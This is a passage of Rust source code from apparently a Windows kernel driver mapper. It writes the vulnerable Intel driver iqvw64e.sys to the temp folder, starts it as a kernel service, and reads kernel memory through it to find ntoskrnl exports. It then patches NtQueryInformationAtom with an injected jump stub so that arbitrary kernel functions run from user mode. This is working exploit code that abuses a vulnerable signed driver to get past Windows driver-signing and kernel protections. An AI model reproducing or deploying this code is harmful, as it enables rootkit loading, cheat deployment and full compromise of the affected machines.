HANDLE, addy: u64) -> bool { 287 | if addy == 0 { 288 | return false; 289 | } 290 | 291 | static mut KERNEL_EX_FREE_POOL: u64 = 0; 292 | 293 | unsafe { 294 | if KERNEL_EX_FREE_POOL == 0 { 295 | KERNEL_EX_FREE_POOL = get_kernel_module_export( 296 | service, 297 | get_kernel_module_address("ntoskrnl.exe".to_string()) as _, 298 | "ExFreePool", 299 | ); 300 | } 301 | 302 | if !call_kernel_fn( 303 | service, 304 | &mut |address| { 305 | transmute::<_, ExFreePoolFn>(address)(addy as _); 306 | 307 | true 308 | }, 309 | KERNEL_EX_FREE_POOL, 310 | ) { 311 | return false; 312 | } 313 | } 314 | 315 | true 316 | } 317 | -------------------------------------------------------------------------------- /src/util/mod.rs: -------------------------------------------------------------------------------- 1 | use core::panic; 2 | use std::{ 3 | ffi::CStr, 4 | io::{Read, Write}, 5 | path::{Path, PathBuf}, 6 | }; 7 | 8 | use winapi::{ 9 | ctypes::c_void, 10 | shared::{ 11 | minwindef::DWORD, 12 | ntdef::{NT_SUCCESS, ULONG}, 13 | }, 14 | um::{ 15 | errhandlingapi::SetLastError, 16 | libloaderapi::{GetProcAddress, LoadLibraryA}, 17 | memoryapi::{VirtualAlloc, VirtualFree}, 18 | winnt::{ 19 | DELETE, HANDLE, IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, 20 | IMAGE_NT_HEADERS64, IMAGE_NT_SIGNATURE, MEM_COMMIT, MEM_RELEASE, MEM_RESERVE, 21 | PAGE_READWRITE, PIMAGE_EXPORT_DIRECTORY, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, 22 | SERVICE_KERNEL_DRIVER, 23 | }, 24 | winsvc::{ 25 | CloseServiceHandle, ControlService, CreateServiceA, DeleteService, OpenSCManagerA, 26 | OpenServiceA, StartServiceA, SC_MANAGER_CREATE_SERVICE, SERVICE_CONTROL_STOP, 27 | SERVICE_START, SERVICE_STATUS, SERVICE_STOP, 28 | }, 29 | }, 30 | }; 31 | 32 | pub static DRIVER_NAME: &str = "iqvw64e.sys\0"; 33 | 34 | use crate::{ 35 | nt::{self, RtlProcessModuleInformation}, 36 | service::{self, force_write_memory, read_memory}, 37 | util, 38 | }; 39 | 40 | pub fn get_temporary_folder_path() -> PathBuf { 41 | std::env::temp_dir() 42 | } 43 | 44 | pub fn get_path_to_driver() -> PathBuf { 45 | let mut path = get_temporary_folder_path(); 46 | path.push(DRIVER_NAME.strip_suffix('\0').unwrap()); 47 | 48 | path 49 | } 50 | 51 | pub fn create_driver_file(file: &String) -> bool { 52 | let mut file = std::fs::File::create(Path::new(file)).expect("Couldn't create/open file!"); 53 | 54 | // Thank god for this macro! 55 | let driver = include_bytes!("../mapper/driver.sys"); 56 | 57 | file.write_all(driver).expect("Couldn't write file"); 58 | 59 | true 60 | } 61 | 62 | pub fn read_file_to_memory(file: &String, buffer: &mut Vec) -> bool { 63 | let mut file = std::fs::File::open(file).expect("Couldn't open file"); 64 | 65 | file.read_to_end(buffer).expect("Couldn't read file"); 66 | 67 | true 68 | } 69 | 70 | pub fn create_and_start_service(file: &String) -> bool { 71 | let mut filename = std::path::Path::new(file) 72 | .file_name() 73 | .expect("Couldn't get filname") 74 | .to_str() 75 | .expect("Couldn't convert to str") 76 | .to_string(); 77 | filename.push('\0'); 78 | 79 | println!("File name: {}", filename); 80 | 81 | let mut actual_file_path = file.to_owned(); 82 | actual_file_path.push('\0'); 83 | 84 | let manager = unsafe { 85 | OpenSCManagerA( 86 | std::ptr::null_mut(), 87 | std::ptr::null_mut(), 88 | SC_MANAGER_CREATE_SERVICE, 89 | ) 90 | }; 91 | 92 | if manager.is_null() { 93 | panic!("Failed to open service manager!"); 94 | } 95 | 96 | let mut service = unsafe { 97 | CreateServiceA( 98 | manager, 99 | DRIVER_NAME.as_ptr() as _, 100 | DRIVER_NAME.as_ptr() as _, 101 | SERVICE_START | SERVICE_STOP | DELETE, 102 | SERVICE_KERNEL_DRIVER, 103 | SERVICE_DEMAND_START, 104 | SERVICE_ERROR_IGNORE, 105 | actual_file_path.as_ptr() as _, 106 | std::ptr::null_mut(), 107 | std::ptr::null_mut(), 108 | std::ptr::null_mut(), 109 | std::ptr::null_mut(), 110 | std::ptr::null_mut(), 111 | ) 112 | }; 113 | 114 | if service.is_null() { 115 | println!("Unable to create service, attempting to open instead"); 116 | 117 | service = unsafe { OpenServiceA(manager, filename.as_ptr() as _, SERVICE_START) }; 118 | 119 | if service.is_null() { 120 | unsafe { CloseServiceHandle(manager) }; 121 | panic!("Unable to create service!"); 122 | } 123 | } 124 | 125 | let result = unsafe { StartServiceA(service, 0, std::ptr::null_mut()) }; 126 | 127 | unsafe { 128 | CloseServiceHandle(service); 129 | CloseServiceHandle(manager); 130 | } 131 | 132 | result == 1 133 | } 134 | 135 | pub fn delete_and_stop_service(name: &str) -> bool { 136 | let manager = unsafe { 137 | OpenSCManagerA( 138 | std::ptr::null_mut(), 139 | std::ptr::null_mut(), 140 | SC_MANAGER_CREATE_SERVICE, 141 | ) 142 | }; 143 | 144 | if manager.is_null() { 145 | panic!("Unable to open service manager!"); 146 | } 147 | 148 | let service = 149 | unsafe { OpenServiceA(manager, name.as_ptr() as *const i8, SERVICE_STOP | DELETE) }; 150 | 151 | if service.is_null() { 152 | unsafe { CloseServiceHandle(service) }; 153 | panic!("Failed to open service"); 154 | } 155 | 156 | let mut status: SERVICE_STATUS = unsafe { core::mem::zeroed() }; 157 | 158 | let result = unsafe { 159 | ControlService(service, SERVICE_CONTROL_STOP, &mut status as *mut _) == 1 160 | && DeleteService(service) == 1 161 | }; 162 | 163 | unsafe { 164 | CloseServiceHandle(service); 165 | CloseServiceHandle(manager); 166 | } 167 | 168 | result 169 | } 170 | 171 | pub fn get_kernel_module_address(name: String) -> u64 { 172 | let mut buffer: *mut c_void = std::ptr::null_mut(); 173 | let mut buffer_size: DWORD = 0; 174 | 175 | let mut system_info = nt::query_system_information(buffer, &mut buffer_size); 176 | 177 | while system_info.result as u32 == nt::STATUS_INFO_LENGHT_MISMATCH { 178 | unsafe { VirtualFree(buffer, 0, MEM_RELEASE) }; 179 | 180 | buffer = unsafe { 181 | VirtualAlloc( 182 | std::ptr::null_mut(), 183 | buffer_size as _, 184 | MEM_COMMIT | MEM_RESERVE, 185 | PAGE_READWRITE, 186 | ) 187 | } as _; 188 | system_info = nt::query_system_information(buffer, &mut buffer_size); 189 | } 190 | 191 | if !NT_SUCCESS(system_info.result) { 192 | unsafe { VirtualFree(system_info.buffer, 0, MEM_RELEASE) }; 193 | return 0u64; 194 | } 195 | 196 | let modules = buffer as *mut nt::RtlProcessModules; 197 | 198 | unsafe { 199 | for i in 0..(*modules).number_of_modules { 200 | let current_module = (buffer as usize 201 | + std::mem::size_of::() 202 | + i as usize * std::mem::size_of::()) 203 | as *mut RtlProcessModuleInformation; 204 | 205 | let module_name = String::from_utf8( 206 | (*current_module) 207 | .full_path_name 208 | .iter() 209 | .skip(4) 210 | .map(|i| *i as u8) 211 | .take_while(|&i| i as char != char::from(0)) 212 | .collect(), 213 | ); 214 | 215 | if !module_name.is_ok() { 216 | continue; 217 | } 218 | 219 | let actual_name = module_name.unwrap(); 220 | 221 | let image_base_test = 222 | current_module as usize + std::mem::size_of::<*mut c_void>() * 2usize; 223 | 224 | if actual_name.contains(&name) { 225 | let result = ((image_base_test + 4usize) as *mut u64).read(); 226 | VirtualFree(buffer as _, 0, MEM_RELEASE); 227 | 228 | // Due to call earlier we get an invalid address error-code, we can just clear it and ignore it. 229 | SetLastError(0); 230 | 231 | return result; 232 | } 233 | } 234 | } 235 | 236 | unsafe { VirtualFree(buffer as _, 0, MEM_RELEASE) }; 237 | 0u64 238 | } 239 | 240 | pub fn get_kernel_module_export(service: HANDLE, kernel_module_base: u64, fn_name: &str) -> u64 { 241 | if kernel_module_base == 0 { 242 | return 0; 243 | } 244 | 245 | let mut dos_header: IMAGE_DOS_HEADER = unsafe { core::mem::zeroed() }; 246 | let mut nt_header: IMAGE_NT_HEADERS64 = unsafe { core::mem::zeroed() }; 247 | 248 | if !service::read_memory( 249 | service, 250 | kernel_module_base, 251 | &mut dos_header as *mut IMAGE_DOS_HEADER as _, 252 | std::mem::size_of::() as _, 253 | ) || dos_header.e_magic != IMAGE_DOS_SIGNATURE 254 | { 255 | return 0; 256 | } 257 | 258 | if !service::read_memory( 259 | service, 260 | kernel_module_base + dos_header.e_lfanew as u64, 261 | &mut nt_header as *mut IMAGE_NT_HEADERS64 as _, 262 | std::mem::size_of::() as _, 263 | ) || nt_header.Signature != IMAGE_NT_SIGNATURE 264 | { 265 | return 0; 266 | } 267 | 268 | let export_base = nt_header.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize] 269 | .VirtualAddress; 270 | let export_base_size = 271 | nt_header.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize].Size; 272 | 273 | if export_base == 0 || export_base_size == 0 { 274 | return 0; 275 | } 276 | 277 | let export_data = unsafe { 278 | VirtualAlloc( 279 | std::ptr::null_mut(), 280 | export_base_size as _, 281 | MEM_COMMIT | MEM_RESERVE, 282 | PAGE_READWRITE, 283 | ) 284 | } as PIMAGE_EXPORT_DIRECTORY; 285 | 286 | if !service::read_memory( 287 | service, 288 | kernel_module_base + export_base as u64, 289 | export_data as _, 290 | export_base_size as u64, 291 | ) { 292 | unsafe { VirtualFree(export_data as _, 0, MEM_RELEASE) }; 293 | return 0; 294 | } 295 | 296 | let delta = export_data as u64 - export_base as u64; 297 | 298 | let name_table = unsafe { ((*export_data).AddressOfNames as u64 + delta) as *mut u32 }; 299 | let ordinal_table = 300 | unsafe { ((*export_data).AddressOfNameOrdinals as u64 + delta) as *mut u16 }; 301 | let function_table = unsafe { ((*export_data).AddressOfFunctions as u64 + delta) as *mut u32 }; 302 | 303 | for i in 0..unsafe { (*export_data).NumberOfNames } as isize { 304 | // let current_function_name = 305 | // unsafe { CString::from_raw((name_table.offset(i).read() as u64 + delta) as _) } 306 | // .to_str() 307 | // .expect("Couldn't convert to str") 308 | // .to_string(); 309 | let name_ptr = unsafe { name_table.offset(i).read() as u64 + delta } as *mut char; 310 | let current_function_name = unsafe { 311 | CStr::from_ptr(name_ptr as _) 312 | .to_owned() 313 | .to_str() 314 | .unwrap() 315 | .to_string() 316 | }; 317 | 318 | if current_function_name.eq(fn_name) { 319 | let fn_ordinal = unsafe { ordinal_table.offset(i).read() }; 320 | let fn_address = kernel_module_base 321 | + unsafe { function_table.offset(fn_ordinal as _).read() } as u64; 322 | 323 | if fn_address >= kernel_module_base + export_base as u64 324 | && fn_address <= kernel_module_base + export_base as u64 + export_base_size as u64 325 | { 326 | unsafe { VirtualFree(export_data as _, 0, MEM_RELEASE) }; 327 | return 0; 328 | } 329 | 330 | unsafe { VirtualFree(export_data as _, 0, MEM_RELEASE) }; 331 | return fn_address; 332 | } 333 | } 334 | 335 | unsafe { VirtualFree(export_data as _, 0, MEM_RELEASE) }; 336 | panic!("Couldn't find export: {}...", fn_name); 337 | } 338 | 339 | pub fn get_nt_gdi_dd_ddl_reclaim_allocations_info( 340 | service: HANDLE, 341 | out_kernel_function_ptr: &mut u64, 342 | out_original_kernel_function_address: &mut u64, 343 | ) -> bool { 344 | // 488b05650e1400 mov rax, qword ptr [rip+offset] 345 | // ff150f211600 call cs:__guard_dispatch_icall_fptr 346 | static mut KERNEL_FUNCTION_PTR: u64 = 0; 347 | static mut KERNEL_ORIGINAL_FUNCTION_ADDRESS: u64 = 0; 348 | 349 | if unsafe { KERNEL_FUNCTION_PTR == 0 || KERNEL_ORIGINAL_FUNCTION_ADDRESS == 0 } { 350 | let nt_gdi_ddi_reclaim_allocations2 = get_kernel_module_export( 351 | service, 352 | util::get_kernel_module_address("win32kbase.sys".to_string()) as _, 353 | "NtGdiDdDDIReclaimAllocations2", 354 | ); 355 | 356 | if nt_gdi_ddi_reclaim_allocations2 == 0 { 357 | println!("Unable to find NtGdiDdDDIReclaimAllocations2"); 358 | return false; 359 | } 360 | 361 | let kernel_function_ptr_offset_address = nt_gdi_ddi_reclaim_allocations2 + 0x7; 362 | let mut function_ptr_offset = 0; 363 | 364 | if !read_memory( 365 | service, 366 | kernel_function_ptr_offset_address, 367 | &mut function_ptr_offset as *mut _ as u64, 368 | std::mem::size_of::() as _, 369 | ) { 370 | return false; 371 | } 372 | 373 | unsafe { 374 | KERNEL_FUNCTION_PTR = nt_gdi_ddi_reclaim_allocations2 + 0xB + function_ptr_offset as u64 375 | }; 376 | 377 | if unsafe { 378 | !read_memory( 379 | service, 380 | KERNEL_FUNCTION_PTR, 381 | &mut KERNEL_ORIGINAL_FUNCTION_ADDRESS as *mut _ as u64, 382 | std::mem::size_of::() as _, 383 | ) 384 | } { 385 | return false; 386 | } 387 | } 388 | 389 | *out_kernel_function_ptr = unsafe { KERNEL_FUNCTION_PTR }; 390 | *out_original_kernel_function_address = unsafe { KERNEL_ORIGINAL_FUNCTION_ADDRESS }; 391 | 392 | true 393 | } 394 | 395 | pub fn get_nt_gdi_get_copp_compatible_opm_information_info( 396 | service: HANDLE, 397 | out_kernel_function_ptr: &mut u64, 398 | out_kernel_original_bytes: *mut u8, 399 | ) -> bool { 400 | static mut KERNEL_FUNCTION_PTR: u64 = 0; 401 | static mut KERNEL_ORIGINAL_BYTES: Vec = Vec::new(); 402 | 403 | if unsafe { KERNEL_FUNCTION_PTR == 0 || KERNEL_ORIGINAL_BYTES[0] == 0 } { 404 | unsafe { KERNEL_ORIGINAL_BYTES.fill(0) }; 405 | 406 | let nt_gdi_get_copp_compatible_opm_information_info = get_kernel_module_export( 407 | service, 408 | get_kernel_module_address("win32kbase.sys".to_string()) as _, 409 | "NtGdiGetCOPPCompatibleOPMInformation", 410 | ); 411 | 412 | if nt_gdi_get_copp_compatible_opm_information_info == 0 { 413 | println!("Unable to find NtGdiGetCOPPCompatibleOPMInformation"); 414 | return false; 415 | } 416 | unsafe { 417 | KERNEL_FUNCTION_PTR = nt_gdi_get_copp_compatible_opm_information_info; 418 | } 419 | 420 | if unsafe { 421 | !read_memory( 422 | service, 423 | KERNEL_FUNCTION_PTR, 424 | KERNEL_ORIGINAL_BYTES.as_mut_ptr() as *mut _ as u64, 425 | (std::mem::size_of::() * KERNEL_ORIGINAL_BYTES.len() as usize) as _, 426 | ) 427 | } { 428 | println!("ReadMemory failed!!"); 429 | return false; 430 | } 431 | } 432 | 433 | *out_kernel_function_ptr = unsafe { KERNEL_FUNCTION_PTR }; 434 | unsafe { 435 | std::ptr::copy( 436 | KERNEL_ORIGINAL_BYTES.as_mut_ptr(), 437 | out_kernel_original_bytes, 438 | std::mem::size_of::() * KERNEL_ORIGINAL_BYTES.len() as usize, 439 | ) 440 | }; 441 | 442 | true 443 | } 444 | 445 | // Smart way to do this eh? 446 | pub fn call_kernel_fn( 447 | service: HANDLE, 448 | call_function: &mut dyn FnMut(*mut usize) -> bool, 449 | kernel_function_address: u64, 450 | ) -> bool { 451 | if kernel_function_address == 0 { 452 | panic!("Kernel export apparently 0? What are we gonna do about it?"); 453 | } 454 | 455 | // Wrap entire function because why not. 456 | unsafe { 457 | let nt_query_information_atom = GetProcAddress( 458 | LoadLibraryA("ntdll.dll\0".as_ptr() as _), 459 | "NtQueryInformationAtom\0".as_ptr() as _, 460 | ); 461 | 462 | if nt_query_information_atom.is_null() { 463 | panic!("Couldn't find target function, are you on 20h2?") 464 | } 465 | 466 | let mut kernel_injected_jmp: [u8; 12] = [ 467 | 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0, 468 | ]; 469 | let mut original_kernel_fn = vec![0u8; 12]; 470 | 471 | ((kernel_injected_jmp.as_mut_ptr() as usize + 2usize) as *mut u64) 472 | .write(kernel_function_address); 473 | 474 | let kernel_nt_query_information_atom = get_kernel_module_export( 475 | service, 476 | get_kernel_module_address("ntoskrnl.exe".to_string()), 477 | "NtQueryInformationAtom", 478 | ); 479 | 480 | if kernel_nt_query_information_atom == 0 { 481 | println!("Couldn't get export ntoskrnl.NtQueryInformationAtom"); 482 | return false; 483 | } 484 | 485 | if !read_memory( 486 | service, 487 | kernel_nt_query_information_atom, 488 | original_kernel_fn.as_mut_ptr() as _, 489 | kernel_injected_jmp.len() as _, 490 | ) { 491 | println!("Couldn't read memory"); 492 | return false; 493 | } 494 | 495 | if !force_write_memory( 496 | service, 497 | kernel_nt_query_information_atom, 498 | kernel_injected_jmp.as_ptr() as _, 499 | kernel_injected_jmp.len() as _, 500 | ) { 501 | println!("Couldn't write memory"); 502 | return false; 503 | } 504 | 505 | call_function(nt_query_information_atom as _); 506 | 507 | if !force_write_memory( 508 | service, 509 | kernel_nt_query_information_atom, 510 | original_kernel_fn.as_mut_ptr() as _, 511 | original_kernel_fn.len() as _, 512 | ) { 513 | println!("Couldn't restore function!"); 514 | return false; 515 | } 516 | 517 | // NOTE: this is for older versions of windows! 518 | // let nt_gdi_dd_ddi_reclaim_allocations = GetProcAddress( 519 | // LoadLibraryA("gdi32full.dll\0".as_ptr() as _), 520 | // "NtGdiDdDDIReclaimAllocations2\0".as_ptr() as _, 521 | // ); 522 | // let nt_gdi_get_copp_compatible_opm_information = GetProcAddress( 523 | // LoadLibraryA("win32u.dll\0".as_ptr() as _), 524 | // "NtGdiGetCOPPCompatibleOPMInformation\0".as_ptr() as _, 525 | // ); 526 | 527 | // if nt_gdi_dd_ddi_reclaim_allocations.is_null() 528 | // && nt_gdi_get_copp_compatible_opm_information.is_null() 529 | // { 530 | // panic!("Failed to find NtGdiDdDDIReclaimAllocations2 or NtGdiGetCOPPCompatibleOPMInformation"); 531 | // } 532 | 533 | // let mut kernel_fn_pointer: u64 = 0; 534 | // let mut kernel_original_function_address: u64 = 0; 535 | // let mut kernel_original_function_jmp = vec![0u8, 12]; 536 | 537 | // if !nt_gdi_dd_ddi_reclaim_allocations.is_null() { 538 | // // Get function pointer (@win32kbase!gDxgkInterface table) used by NtGdiDdDDIReclaimAllocations2 539 | // // and save the original address (dxgkrnl!DxgkReclaimAllocations2) 540 | // if !get_nt_gdi_dd_ddl_reclaim_allocations_info( 541 | // service, 542 | // &mut kernel_fn_pointer, 543 | // &mut kernel_original_function_address, 544 | // ) { 545 | // return false; 546 | // } 547 | 548 | // // Overwrite the pointer with kernel_function_address 549 | // if !force_write_memory( 550 | // service, 551 | // kernel_fn_pointer, 552 | // &mut kernel_function_address as *mut u64 as _, 553 | // std::mem::size_of::() as _, 554 | // ) { 555 | // return false; 556 | // } 557 | // } else { 558 | // if !get_nt_gdi_get_copp_compatible_opm_information_info( 559 | // service, 560 | // &mut kernel_fn_pointer, 561 | // kernel_original_function_jmp.as_mut_ptr(), 562 | // ) { 563 | // return false; 564 | // } 565 | 566 | // // Overwrite jmp with 'movabs rax, , jmp rax' 567 | // std::ptr::copy( 568 | // &kernel_function_address, 569 | // (kernel_function_jmp.as_ptr() as usize + 2usize) as _, 570 | // std::mem::size_of::(), 571 | // ); 572 | 573 | // if !force_write_memory( 574 | // service, 575 | // kernel_fn_pointer, 576 | // kernel_function_jmp.as_mut_ptr() as *mut _, 577 | // (std::mem::size_of::() * kernel_function_jmp.len() as usize) as _, 578 | // ) { 579 | // return false; 580 | // } 581 | // } 582 | 583 | // let mut function = std::ptr::null_mut(); 584 | // if !nt_gdi_get_copp_compatible_opm_information.is_null() { 585 | // function = nt_gdi_get_copp_compatible_opm_information; 586 | // } else if !nt_gdi_dd_ddi_reclaim_allocations.is_null() { 587 | // function = nt_gdi_dd_ddi_reclaim_allocations; 588 | // } 589 | 590 | // if !function.is_null() { 591 | // call_function(function as _); 592 | // } 593 | 594 | // if !nt_gdi_get_copp_compatible_opm_information.is_null() { 595 | // force_write_memory( 596 | // service, 597 | // kernel_fn_pointer, 598 | // &mut kernel_original_function_address as *mut u64 as _, 599 | // std::mem::size_of::() as _, 600 | // ); 601 | // } else { 602 | // force_write_memory( 603 | // service, 604 | // kernel_fn_pointer, 605 | // kernel_original_function_jmp.as_mut_ptr() as *mut _, 606 | // (std::mem::size_of::() * kernel_function_jmp.len() as usize) as _, 607 | // ); 608 | // } 609 | } 610 | 611 | println!("Succesfully called kernel fn!"); 612 | true 613 | } 614 | --------------------------------------------------------------------------------